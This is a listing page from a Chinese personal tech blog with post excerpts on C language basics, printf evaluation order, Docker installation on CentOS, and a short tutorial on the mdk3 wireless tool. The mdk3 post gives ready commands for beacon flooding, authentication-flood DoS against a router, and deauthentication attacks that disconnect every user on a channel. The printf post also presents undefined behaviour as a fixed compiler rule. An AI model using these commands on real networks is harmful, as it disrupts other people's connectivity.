首页
关于
README
Search
1
如何配置终端现代化Neovim
647 阅读
2
mdk3工具使用
520 阅读
3
关于C语言
472 阅读
4
Windows11pro 下载体验
456 阅读
5
关于Docker容器--0×01
379 阅读
默认分类
网络技术
渗透测试
编程语言
C语言
Python
Linux
搞机技巧
Termux
golang
数学
Search
标签搜索
printf
mach
sin cos tan
Toanle
累计撰写
40
篇文章
累计收到
1
条评论
首页
栏目
默认分类
网络技术
渗透测试
编程语言
C语言
Python
Linux
搞机技巧
Termux
golang
数学
页面
关于
README
搜索到
40
篇与
Toanle
的结果
2021-03-09
关于C语言
0×00:C 语言是一门抽象的、面向过程的语言,C 语言广泛应用于底层开发,C 语言在计算机体系中占据着不可替代的作用,可以说 C 语言是编程的基础,也就是说,不管你学习任何语言,都应该把 C 语言放在首先要学的位置上。下面这幅图说明情况:可以看到,C 语言是一种底层语言,是一种系统层级的语言,操作系统就是使用 C 语言来编写的,比如 Windows、Linux、UNIX 。如果说其他语言是光鲜亮丽的外表,那么 C 语言就是灵魂,永远那么朴实无华。C语言特性那么,既然 C 语言这么重要,它有什么值得我们去学的地方呢?我们不应该只因为它重要而去学,我们更在意的是学完我们能学会什么,能让我们获得什么。C语言的设计C 语言是 1972 年,由贝尔实验室的丹尼斯·里奇(Dennis Ritch)和肯·汤普逊(Ken Thompson)在开发 UNIX 操作系统时设计了C语言。C 语言是一门流行的语言,它把计算机科学理论和工程实践理论完美的融合在一起,使用户能够完成模块化的编程和设计。计算机科学理论:简称 CS、是系统性研究信息与计算的理论基础以及它们在计算机系统中如何实现与应用的实用技术的学科。C语言具有高效性C 语言是一门高效性语言,它被设计用来充分发挥计算机的优势,因此 C 语言程序运行速度很快,C 语言能够合理了使用内存来获得最大的运行速度C 语言具有可移植性C 语言是一门具有可移植性的语言,这就意味着,对于在一台计算机上编写的 C 语言程序可以在另一台计算机上轻松地运行,从而极大的减少了程序移植的工作量。C语言特点1.C 语言是一门简洁的语言,因为 C 语言设计更加靠近底层,因此不需要众多 Java 、C# 等高级语言才有的特性,程序的编写要求不是很严格。2.C语言具有结构化控制语句,C 语言是一门结构化的语言,它提供的控制语句具有结构化特征,如 for 循环、if⋯ else 判断语句和 switch 语句等。3.C语言具有丰富的数据类型,不仅包含有传统的字符型、整型、浮点型、数组类型等数据类型,还具有其他编程语言所不具备的数据类型,比如指针。4.C 语言能够直接对内存地址进行读写,因此可以实现汇编语言的主要功能,并可直接操作硬件。5.C 语言速度快,生成的目标代码执行效率高。
2021年03月09日
472 阅读
0 评论
67 点赞
2021-03-09
关于C语言使用printf的问题-编译系统求值时读取的顺序
今天在学习C语言的时候写到了如下的两端代码,简单来看,我一开始以为应该是一样的输出结果的,但是并不是这样。#include <stdio.h> int main() { int i=8; printf("%d\n%d\n%d\n%d\n%d\n%d\n",++i,--i,i++,i--,-i++,-i--); return 0; }代码段1与其执行结果:代码段2:#include <stdio.h> int main() { int i=8; printf("%d\n",++i); printf("%d\n",--i); printf("%d\n",i++); printf("%d\n",i--); printf("%d\n",-i++); printf("%d\n",-i--); return 0; }代码段2与其执行结果:一开始我是非常蒙的,但是后来网上找了一些资料以后发现,不同的编译器的求值的编译顺序是不同的。我使用的编译器是gcc,它的计算的顺序(注意:不是输出的顺序。)是从右往左的,网上看到的是说C语言的压栈顺序是从右往左。像代码段1的运算过程就是:i=8 → 输出-i → i=i-1 → 输出-i → i=i+1 → 输出i → i=i-1 → 输出i → i=i+1 → i=i-1 → i=i+1 → 输出i(即在一段运算中++i与--i的值与i的最终值相同)。而代码段2就是直接一个一个的输出,就是很正常的值了。OwO,关于即在一段运算中++i与--i的值与i的最终值相同
2021年03月09日
99 阅读
0 评论
0 点赞
2021-03-09
关于Docker容器--0×01
Docker 是一个开源的应用容器引擎,让开发者可以打包他们的应用以及依赖包到一个可移植的镜像中,然后发布到任何流行的 Linux或Windows 机器上,也可以实现虚拟化。容器是完全使用沙箱机制,相互之间不会有任何接口。Docker与虚拟机的区别和对比:1.操作系统方面与虚拟机不同,Docker不需要在宿主机的系统之上再运行新的系统,虚拟机会根据需要加载不同的系统,这些功能完备的系统大小往往高达数个GB,而Docker则是微型的Linux系统,其没有硬件的虚拟化资源,大小仅为百兆,在运行时与宿主机共享OS,因此启动速度达到秒级,而虚拟机则为分钟级。其他不说了,我们直接学习如何使用吧。{mtitle}start{/mtitle}00×1安装:我的服务器系统为CentOS,安装docker命令如下:方法一:用官方脚本安装:curl -fsSL https://get.docker.com | bash -s docker --mirror Aliyun方法二:手动安装yun install docker安装完后,启用docker运行。sudo systemctl start docker
2021年03月09日
379 阅读
1 评论
0 点赞
2021-03-07
mdk3工具使用
“ MDK3 是一款无线DOS 攻击测试工具,能够发起Beacon Flood、Authentication DoS、Deauthentication/Disassociation Amok 等模式的攻击,另外它还具有针对隐藏ESSID 的暴力探测模式、802.1X 渗透测试、WIDS干扰等功能”。0x00 前期准备系统环境:Kali Linux将网卡设置为监听模式 airmon-ng start wlan00x01 beacon泛洪攻击可以伪造大量apmdk3 mon0 b -n 单个ssid -c 信道 -s 200 -amdk3 mon0 b -n 单个ssid -w(wep加密) -c 信道 -s 200mdk3 mon0 b -f 文件名 ssid -a -h -c 信道 -s 2000x02 DOS攻击mdk3 网卡 a -a 路由mac -s 攻击速率针对mac地址进行洪水攻击,直到目标无响应0x03 强制解除验证解除连接mdk3 网卡 d -c 信道这样会把使用所有这个信道的路由器的人,全部踹下网或者也可以使用aircrack-ng套件aireplay-ng -0 数量 -a APmac -c 客户端mac 网卡mdk3 wlan b -f bai.txt -c 6 -s 1000 解析:-c 向6 这个频道发送每秒广播1000个数据包 -f 这个参数 是用自己编辑好的文档内容作为SSID去广播不过这个只是针对一个路由器现在mdk3已经停止维护了,官方推出了mdk4了:GitHub地址:https://github.com/aircrack-ng/mdk4That’s all.{mtitle}END{/mtitle}
2021年03月07日
520 阅读
0 评论
1 点赞
2021-03-04
关于本站
到目前为止,我做站长已经有了6年的时间了,重最开始的托管模式,再到VPS模式,我的站点经历了多种变化,而内容上,我一直记录这自己的生活,并没有关于技术方面,这导致我学了多少,很快就忘了,学的人少了,没有过多的研究,所以创建本站,本站纯属技术博客,仅供大家一起学习参考。
2021年03月04日
275 阅读
1 评论
3 点赞
1
...
7
8